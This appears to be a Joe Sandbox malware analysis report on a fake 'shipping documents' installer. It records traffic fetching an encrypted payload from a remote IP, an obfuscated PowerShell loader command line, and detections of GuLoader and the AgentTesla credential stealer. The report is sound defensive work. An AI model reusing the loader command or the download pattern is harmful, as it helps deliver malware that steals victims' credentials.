0	192.168.2.6	49720	185.29.11.53	80	4232	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 16:00:07.100620031 CEST	172	OUT	GET /bgJJbKBK219.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: 185.29.11.53 Cache-Control: no-cache
Sep 25, 2024 16:00:07.729650021 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 24 Sep 2024 22:11:29 GMT Accept-Ranges: bytes ETag: "b3ccbdb4ceedb1:0" Server: Microsoft-IIS/8.5 Date: Wed, 25 Sep 2024 14:00:05 GMT Content-Length: 241728 Data Raw: bb a1 07 e7 47 31 97 2f c7 92 21 83 72 74 d3 b1 24 84 a3 82 89 68 ad fa f8 7c dd 3e ad a7 b4 13 26 ad ff a6 db ad c2 5e b1 6c 71 e9 7c a6 c8 21 55 08 bd 78 8f 1a 25 84 75 f2 fa a4 b3 68 a7 d7 c8 0c ec 43 df 68 20 25 49 bb 97 6e a2 74 ac 90 cb ac 98 88 49 e7 55 82 f9 b3 d9 45 11 cd 7f 76 24 b4 7d c4 97 ed 1e 39 13 f8 db 1d 80 82 7e b3 36 a9 14 30 94 ed a8 07 e1 4a d9 0e 85 bc 9d 4c fd 27 94 08 c5 81 6f dc 97 7f 35 3c 0e d4 05 07 ad e4 8c c6 34 b0 f0 ae 19 c4 7a 34 9c fe 3b 66 40 31 5e 24 ae a3 01 f2 fd 5f 11 e4 d3 57 42 d2 f0 41 3e ab f2 66 bd 72 99 99 ee fc a4 a3 9f e6 ce 88 81 ea 9e 89 ff b2 87 82 df 54 77 e0 6b 72 4e 45 9e a1 df bf 48 54 04 a0 fd f3 de 4d be 91 bf 64 e6 95 f8 a0 e3 6e 4c 1c 62 f9 a6 8e 65 95 61 5c b2 60 b5 e9 30 66 40 7a 16 1b a1 05 79 10 f1 d5 b8 f8 32 84 e1 4c 82 2a 8f 3b fd 7a 6b fa 4e c5 07 a9 79 b1 b7 0b df f2 48 1b d7 ac 1c 0d 42 10 3d 32 56 1a 35 ac fd e6 c6 ce 3d 0c fa 19 e2 d5 52 0f 0b 6d 7a 52 54 5c 7b c8 3c 37 16 7b f0 52 c1 ad ff 03 11 ca 6c 2b ee 9a f1 6d b6 f6 92 ed [TRUNCATED] Data Ascii: G1/!rt$h\|>&^lq\|!Ux%uhCh %IntIUEv$}9~60JL'o5<4z4;f@1^$_WBA>frTwkrNEHTMdnLbea\`0f@zy2L;zkNyHB=2V5=RmzRT\{<7{Rl+mvd!;OO^"Qj8VHxKSk?+JMCq#r@aKeXsC+]r,.g0YrDgn=9<,sviE5M UaG1O.Q3iSBpDwS^me1O`[\Db`^zPw(j?4v=t~#:N]L(g<t[Cud^_6z`}h4CSJsE4f@HOCom)h8\9N_2]"sIq4Z{U\|_6%bvv#^,Ng%@_clpc^]w@^Nm3^1O${YC&}5 %?$rkIigoz=rlzD[,LpnAr.hTX(l-j6?w.2h2mt-a>@}M<!ux60$nZ/Wv-JnVQ
Sep 25, 2024 16:00:07.729682922 CEST	1236	IN	Data Raw: b3 15 67 3c f0 20 48 e8 c7 4a 72 b1 ac 62 55 63 d6 3e f2 ff d5 24 e4 52 fb 17 02 9d 8b 72 c7 c5 f0 4e 9c f2 c8 f2 85 c1 d5 70 cb 68 cb d2 67 28 5a c2 be c7 0e ab e0 d6 0b 65 54 b1 ab cb 53 df f9 87 6b bf 0c 5c fc 84 6a 35 9e 1f 6b 9d 42 72 79 67 Data Ascii: g< HJrbUc>$RrNphg(ZeTSk\j5kBrygqVAV\|Ch!'NfUsZU1{1}H9Kz7`K{LEL1d94zi5~;W6jKA^5:ax]`qI2s4dD
Sep 25, 2024 16:00:07.729718924 CEST	1236	IN	Data Raw: 04 78 cc df 16 27 78 bd 9d c4 b6 a6 8b 8c e6 9e c7 83 98 c9 a8 fc c2 53 80 ff 32 71 ca 75 70 35 dd 9e a1 3b 95 68 57 0c dc 6e f3 de ef 97 db bd 44 f5 95 f8 aa e1 1c 25 f8 61 89 8e 43 65 95 67 96 af 62 ce 70 70 66 44 70 34 19 a2 7a e0 10 f5 d1 92 Data Ascii: x'xS2qup5;hWnD%aCegbppfDp4z0L IXkfhH~Am2V=kR3zRRveG{`~l@tKI-Q%Q@ULPXQ:?+`SC[!q=c9Be([
Sep 25, 2024 16:00:07.729733944 CEST	672	IN	Data Raw: 4d 96 ab aa e2 43 ee f1 09 23 72 44 26 ed 8b 6d 42 f2 61 f4 80 d1 e8 f6 7a 99 cb c3 61 72 6d 9e af 64 43 2b 18 2f 94 7f a3 c7 41 e1 ef 0a 93 0a 87 97 03 fb f6 81 d8 da 15 f9 1e 7b fc 2c 2c 77 ef 8a 6a 5b 2e a9 af 39 46 32 e3 26 c1 a1 ee 76 6e a1 Data Ascii: MC#rD&mBazarmdC+/A{,,wj[.9F2&vnpyELH;G+(QGwvmV5 -Z\| ,NC^R*zFtuR\E3J,ZZFJ=bWrur\|n,U1Vjj=(vv}^{P_7
Sep 25, 2024 16:00:07.729751110 CEST	1236	IN	Data Raw: 21 f9 03 e9 3b 71 57 93 e5 0c 5b fe 42 40 f3 62 04 1e 1a c0 60 ba 32 85 94 f3 4f d4 99 aa bc 2e e9 8f 4e 26 92 a1 09 21 25 49 b9 95 15 3c 8a ac 94 6b f4 49 f5 2b e6 55 86 bb b0 f1 6f 13 cd 75 0b 47 b5 7d c0 bd ed 1e 39 10 c8 d8 1d 75 82 7e b3 37 Data Ascii: !;qW[B@b`2O.N&!%I<kI+UouG}9u~7!\|L8.5f14p=hRKZWD4(tEq.^k\|xi2krN?IUDjae`pf@"y8L*q5zkB
Sep 25, 2024 16:00:07.729763985 CEST	224	IN	Data Raw: 61 9c b0 60 b5 e9 0e 63 40 5a 12 69 a8 07 79 60 87 d8 b8 f8 42 eb f4 4c 86 20 2d c5 f1 7b 6b da 4c e5 03 a9 0b a2 b7 0b af 50 b6 17 d4 ac 7c 8b 42 10 2d 1a 40 0a 35 a6 03 e8 d4 ce c3 11 f8 19 90 c0 52 0f 6b 45 6d 52 54 56 d9 36 30 36 16 5b 60 97 Data Ascii: a`c@Ziy`BL -{kLP\|B-@5RkEmRTV606[``ih\|!KIC^Q`JVaHkIK_;k5.JMkB#Laexr=.Pc,(]^Ug0X
Sep 25, 2024 16:00:07.811039925 CEST	1236	IN	Data Raw: ee 5a 52 bf d5 01 5a df cd 0a 10 6a 4a e8 ea 80 13 a5 aa 89 e6 39 3c ff 0c 2e 20 ed 73 65 15 e6 a9 9b 04 0a ba bd f0 10 bb e3 36 f2 df 90 4d c1 2a dd 96 55 21 a4 fe 0e dd 58 52 10 29 86 c6 5c ec 51 0f 0f ec 2e f5 02 96 80 7a 8e aa fb 9c a8 cd 70 Data Ascii: ZRZjJ9<. se6MU!XR)\Q.zpDQS[m%z1Nn^HBw]!Z2}QyejI>,=T\|#zm:N-zg65'>q[cqd^6btts5xIqzG}^CQCb6"H,
Sep 25, 2024 16:00:07.811064959 CEST	1236	IN	Data Raw: 88 d8 b7 7c 55 fa fe 73 3c 42 84 fc e9 48 bc 7f fd fa a5 03 c6 bc 6f 10 e4 dd b2 4e 18 2c b9 9e 39 b4 be 02 f9 a7 ad 07 bc 3b b3 bd e3 1b a9 39 22 16 57 85 06 33 25 75 4f 97 e5 cc 53 20 9e 6c 80 5b a8 12 0b 87 cb e7 49 6c 2a bf bb 5b 37 8b 47 95 Data Ascii: \|Us<BHoN,9;9"W3%uOS l[Il*[7GfRTcR"b3pyl1Q\n8oX8s'U`%gQ+ED9cGsb$W$azjzq=x,aoDL,aP.TXk\Ub
Sep 25, 2024 16:00:07.811081886 CEST	448	IN	Data Raw: 8d 44 ef a1 7b 23 c8 8b 4c fd 36 fc 04 40 a8 9e c4 2e 8c 6a 54 58 64 92 9b aa a6 5c 83 09 87 82 48 9b 1d de fd 67 97 42 f7 06 30 12 81 78 56 60 47 cf e2 ff c9 76 72 b4 9a ef f2 a9 bd f9 70 a3 e3 31 fd 3b 05 5f aa f3 28 93 e2 0e 95 7b 26 9d 4f 56 Data Ascii: D{#L6@.jTXd\HgB0xV`Gvrp1;_({&OV+O.GwxV7o8,eo'y$GUgDx pRnpK.gWBG*YeJS?,q= $=)VBp %MEo]sI_ E3qu$
Sep 25, 2024 16:00:07.811098099 CEST	1236	IN	Data Raw: 1e e2 d5 56 7d 50 6f 7a 22 7c 41 7b c8 36 c9 18 7b 64 b7 d6 ad a8 03 ef c4 6f cb ed 64 bb 6b b6 d6 98 ed 76 64 5c 20 35 23 fc fc d4 f9 43 06 4f de 56 22 c1 51 9e 25 3a fa 26 30 31 b7 07 48 fd 26 f5 7b 4b c5 74 b9 50 a7 e3 15 bf 6b 9d c1 8b 12 c3 Data Ascii: V}Poz"\|A{6{dodkvd\ 5#COV"Q%:&01H&{KtPkJM}Cu#r2gf2fK=i[sC+e4gXC,(D2[_K\ZgNS?pEvIM?,u(XT ,W_3bjM)P
Sep 25, 2024 16:00:07.811114073 CEST	1236	IN	Data Raw: a0 a0 f9 55 25 a6 b0 04 dd 28 7c ae 20 86 cc ae 81 51 0f 7b b6 55 f6 02 ec 80 29 8c aa f7 c1 3b cd 70 40 05 95 94 53 71 93 1e f2 6d 2f 77 cc bb 31 4b 76 f1 59 f3 2c 6c c3 95 62 df 61 ea ba 60 5d 05 3b 9b 83 68 94 5e c7 7a e5 02 ab ac 97 c7 24 fd Data Ascii: U%(\| Q{U);p@Sqm/w1KvY,lba`];h^z$#iw?hj3%*0M\?#:NY>PH$w[3}^-P5bv:Jq G<HGFsbH(~;YH7$3Ubf6][?{05k

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49721	104.26.13.205	443	4232	C:\Program Files (x86)\Windows Mail\wabmig.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-25 14:00:09 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-09-25 14:00:09 UTC	211	IN	HTTP/1.1 200 OK Date: Wed, 25 Sep 2024 14:00:09 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8c8b89f108514345-EWR
2024-09-25 14:00:09 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 33 33 Data Ascii: 8.46.123.33

Target ID:	0
Start time:	09:59:02
Start date:	25/09/2024
Path:	C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"
Imagebase:	0x400000
File size:	729'960 bytes
MD5 hash:	4ECAFA8F623606CAF0A925F5C6B2EB10
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:59:03
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"powershell.exe" -windowstyle minimized "$Nanometre76=Get-Content 'C:\Users\user\AppData\Local\acneform\Baroco\Tarsometatarsal.Pla';$Hulhedernes=$Nanometre76.SubString(27962,3);.$Hulhedernes($Nanometre76)"
Imagebase:	0x780000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000002.00000002.2780799795.00000000094D7000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:59:03
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:59:54
Start date:	25/09/2024
Path:	C:\Program Files (x86)\Windows Mail\wabmig.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\windows mail\wabmig.exe"
Imagebase:	0x870000
File size:	66'048 bytes
MD5 hash:	BBC90B164F1D84DEDC1DC30F290EC5F6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3394310610.00000000241CC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.3394310610.00000000241A1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000008.00000002.3376516352.0000000004687000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	25.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.3%
Total number of Nodes:	1466
Total number of Limit Nodes:	48

Executed Functions

Function 6FE81096 Relevance: 116.1, APIs: 56, Strings: 10, Instructions: 627
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6FE81987: GetCurrentProcess.KERNEL32(?,?,00000000,?,?,?,6FE810E0), ref: 6FE81990
Part of subcall function 6FE81987: GetModuleHandleA.KERNEL32(KERNEL32,?,?,00000000,?,?,?,6FE810E0), ref: 6FE8199E
Part of subcall function 6FE81987: GetProcAddress.KERNEL32(00000000,?), ref: 6FE819BD

GetModuleFileNameW.KERNEL32(?,00000104), ref: 6FE810FA
GlobalAlloc.KERNEL32(00000040,?), ref: 6FE81112
CharPrevW.USER32(?,?), ref: 6FE8113D
GlobalFree.KERNEL32(00000000), ref: 6FE81164
GetTempFileNameW.KERNEL32(?,6FE83088,00000000,?), ref: 6FE81182
CopyFileW.KERNEL32(?,?,00000000), ref: 6FE81198
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,00000000,00000000), ref: 6FE811B0
CreateFileMappingW.KERNEL32(00000000,00000000,00000004,00000000,00000000,00000000), ref: 6FE811BF
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000), ref: 6FE811CD
UnmapViewOfFile.KERNEL32(00000000), ref: 6FE811F7
CloseHandle.KERNEL32(00000000), ref: 6FE811FE
CloseHandle.KERNEL32(00000000), ref: 6FE81205
lstrcatW.KERNEL32(?,6FE83084), ref: 6FE81214
lstrlenW.KERNEL32(?), ref: 6FE8121B
GlobalAlloc.KERNEL32(00000040,?), ref: 6FE8123C
FindWindowExW.USER32(000103E6,00000000,#32770,00000000), ref: 6FE81274
FindWindowExW.USER32(00000000), ref: 6FE81277
lstrcmpiW.KERNEL32(00000000,/OEM,00000000), ref: 6FE812B0
lstrcmpiW.KERNEL32(00000000,/MBCS), ref: 6FE812C5
DeleteFileW.KERNEL32(?,error), ref: 6FE812FA
GetVersion.KERNEL32 ref: 6FE81340
GlobalAlloc.KERNEL32(00000040,00000FFE), ref: 6FE813B0
InitializeSecurityDescriptor.ADVAPI32(?,00000001), ref: 6FE813DE
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,00000000,00000000), ref: 6FE813EF
CreatePipe.KERNELBASE(?,?,0000000C,00000000), ref: 6FE81411
CreatePipe.KERNELBASE(?,?,0000000C,00000000), ref: 6FE81424
GetStartupInfoW.KERNEL32(00000044), ref: 6FE81431
CreateProcessW.KERNELBASE(00000000,?,00000000,00000000,00000001,00000010,00000000,00000000,00000044,?), ref: 6FE8147A
lstrcpyW.KERNEL32(?,error), ref: 6FE81490
GetTickCount.KERNEL32 ref: 6FE8149B
WaitForSingleObject.KERNEL32(?,00000000), ref: 6FE814AB
GetExitCodeProcess.KERNELBASE(?,?), ref: 6FE814BE
PeekNamedPipe.KERNELBASE(?,00000000,00000000,00000000,?,00000000), ref: 6FE814CF
GetTickCount.KERNEL32 ref: 6FE814DE
ReadFile.KERNEL32(?,00000000,00000400,?,00000000), ref: 6FE81503
IsTextUnicode.ADVAPI32(6FE830B8,?,00000000), ref: 6FE81529
IsDBCSLeadByteEx.KERNEL32(?,?), ref: 6FE8159D
MultiByteToWideChar.KERNEL32(?,00000000,6FE830B8,00000001,?,00000002), ref: 6FE815C4
lstrcpyW.KERNEL32(?, ), ref: 6FE815F4
GlobalReAlloc.KERNEL32(00000002,00000402,00000042), ref: 6FE81686

Part of subcall function 6FE81948: CharNextExA.USER32(?,0000000A,00000000,6FE830B8,?,6FE816EA,?,00000002,00000002,0000000A), ref: 6FE81974

lstrcpyW.KERNEL32(?,error), ref: 6FE816F8
GetTickCount.KERNEL32 ref: 6FE81716
TerminateProcess.KERNEL32(?,000000FF), ref: 6FE8172D
lstrcpyW.KERNEL32(?,timeout), ref: 6FE8173F
Sleep.KERNELBASE(00000064), ref: 6FE8174C
lstrcpyW.KERNEL32(?,error), ref: 6FE8179C
wsprintfW.USER32 ref: 6FE817BA
CloseHandle.KERNEL32(?,?), ref: 6FE817D8
CloseHandle.KERNEL32(?), ref: 6FE817E0
CloseHandle.KERNEL32(?), ref: 6FE817E5
CloseHandle.KERNEL32(?), ref: 6FE817EA
CloseHandle.KERNEL32(?), ref: 6FE817EF
CloseHandle.KERNEL32(?), ref: 6FE817F4
DeleteFileW.KERNEL32(?), ref: 6FE8180A
GlobalFree.KERNEL32(?), ref: 6FE81819
GlobalFree.KERNEL32(00000002), ref: 6FE81823

Strings

error, xrefs: 6FE81159, 6FE812DC, 6FE8148A, 6FE816F2, 6FE81796
/MBCS, xrefs: 6FE812BF
@1#v7#v, xrefs: 6FE811B0
SysListView32, xrefs: 6FE81266
/OEM, xrefs: 6FE812AA
timeout, xrefs: 6FE81739
/TIMEOUT=, xrefs: 6FE8128A
D, xrefs: 6FE81313
#32770, xrefs: 6FE8126D
, xrefs: 6FE815EC

Memory Dump Source

Source File: 00000000.00000002.2153670485.000000006FE81000.00000020.00000001.01000000.00000005.sdmp, Offset: 6FE80000, based on PE: true

Associated: 00000000.00000002.2153651950.000000006FE80000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153686664.000000006FE82000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153704607.000000006FE83000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.2153723885.000000006FE84000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6fe80000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$Handle$Close$Global$Createlstrcpy$AllocProcess$CharCountFreePipeTick$ByteDeleteDescriptorFindModuleNameSecurityViewWindowlstrcmpi$AddressCodeCopyCurrentDaclExitInfoInitializeLeadMappingMultiNamedNextObjectPeekPrevProcReadSingleSleepStartupTempTerminateTextUnicodeUnmapVersionWaitWidelstrcatlstrlenwsprintf
String ID: $#32770$/MBCS$/OEM$/TIMEOUT=$@1#v7#v$D$SysListView32$error$timeout
API String ID: 351676774-3132266245
Opcode ID: a38aa098b078caa8aa6c23147e333e181a63814e3907cceebc7e4e8fa082e320
Instruction ID: 95267072ebd86fe360c834f1347fa03b8c3bb0d94588a80c7e4ef3d735d01618
Opcode Fuzzy Hash: a38aa098b078caa8aa6c23147e333e181a63814e3907cceebc7e4e8fa082e320
Instruction Fuzzy Hash: 7E321571800219EFDF11AFE4C984ADEBFBAFF0A354F20416AE529A7250D7349A85CF50

Function 00403532 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403555
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 00403580
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 00403593
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040362C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403669
OleInitialize.OLE32(00000000), ref: 00403670
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 0040368F
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036A4
CharNextW.USER32(00000000,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",00000020,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",00000000,?,00000008,0000000A,0000000C), ref: 004036DD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403815
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403826
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403832
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040384E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040385F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403867
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe",00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403954

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

wsprintfW.USER32 ref: 004039B1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 004039E4
DeleteFileW.KERNEL32(00437800), ref: 004039F0
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A1E

Part of subcall function 00406317: MoveFileExW.KERNEL32(?,?,00000005,00405E15,?,00000000,000000F1,?,?,?,?,?), ref: 00406321

CopyFileW.KERNEL32(C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A34

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Part of subcall function 004068B4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsi1309.tmp,C:\Users\user\AppData\Local\Temp\nsi1309.tmp, 4#v,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,76233420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A82
ExitProcess.KERNEL32 ref: 00403A9F
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AA6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AC2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AC9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ADE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B01
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B26
ExitProcess.KERNEL32 ref: 00403B49

Part of subcall function 00405B05: CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B

Strings

C:\Users\user\AppData\Local\acneform\Baroco, xrefs: 00403927
C:\Users\user\AppData\Local\acneform, xrefs: 004037FA, 0040391C, 00403969, 00403977
TEMP, xrefs: 0040385A
C:\Users\user\AppData\Local\Temp\, xrefs: 0040380A, 0040380F, 00403825, 00403831, 00403840, 0040384D, 00403859, 00403861, 0040394F, 004039D0, 004039FC, 00403A1D, 00403A26
Error launching installer, xrefs: 004038FD
NSIS Error, xrefs: 00403695
TMP, xrefs: 00403862
UXTHEME, xrefs: 00403620, 00403625, 0040362B
\Temp, xrefs: 0040382C
C:\Users\user\Desktop, xrefs: 00403972
Low, xrefs: 00403848
SeShutdownPrivilege, xrefs: 00403AD8
"C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe", xrefs: 004036AA, 004036B0, 004036C5, 004038A3
C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe, xrefs: 00403A2F
1033, xrefs: 00403876
~nsu%X.tmp, xrefs: 004039A8

Memory Dump Source

Source File: 00000000.00000002.2152926272.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2152911275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152940939.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152960150.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2153120361.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Shipping documents 000022999878999800009999.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: "C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\acneform$C:\Users\user\AppData\Local\acneform\Baroco$C:\Users\user\Desktop$C:\Users\user\Desktop\Shipping documents 000022999878999800009999.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-519494932
Opcode ID: 2f58fbcc075b23529aa9588561da4342b8d2734b046618fffc698aa71994b29c
Instruction ID: 6c1349364f4d22fadfcc29bbd5f82b0434b4f5ba6e08f6571c64e8404a3f48da
Opcode Fuzzy Hash: 2f58fbcc075b23529aa9588561da4342b8d2734b046618fffc698aa71994b29c
Instruction Fuzzy Hash: 64F10270604301ABD320AF659D45B2B7AE8EF8570AF10483EF581B22D1DB7DDA45CB6E

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405779
GetDlgItem.USER32(?,000003EE), ref: 00405788
GetClientRect.USER32(?,?), ref: 004057C5
GetSystemMetrics.USER32(00000002), ref: 004057CC
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057ED
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057FE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405811
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040581F
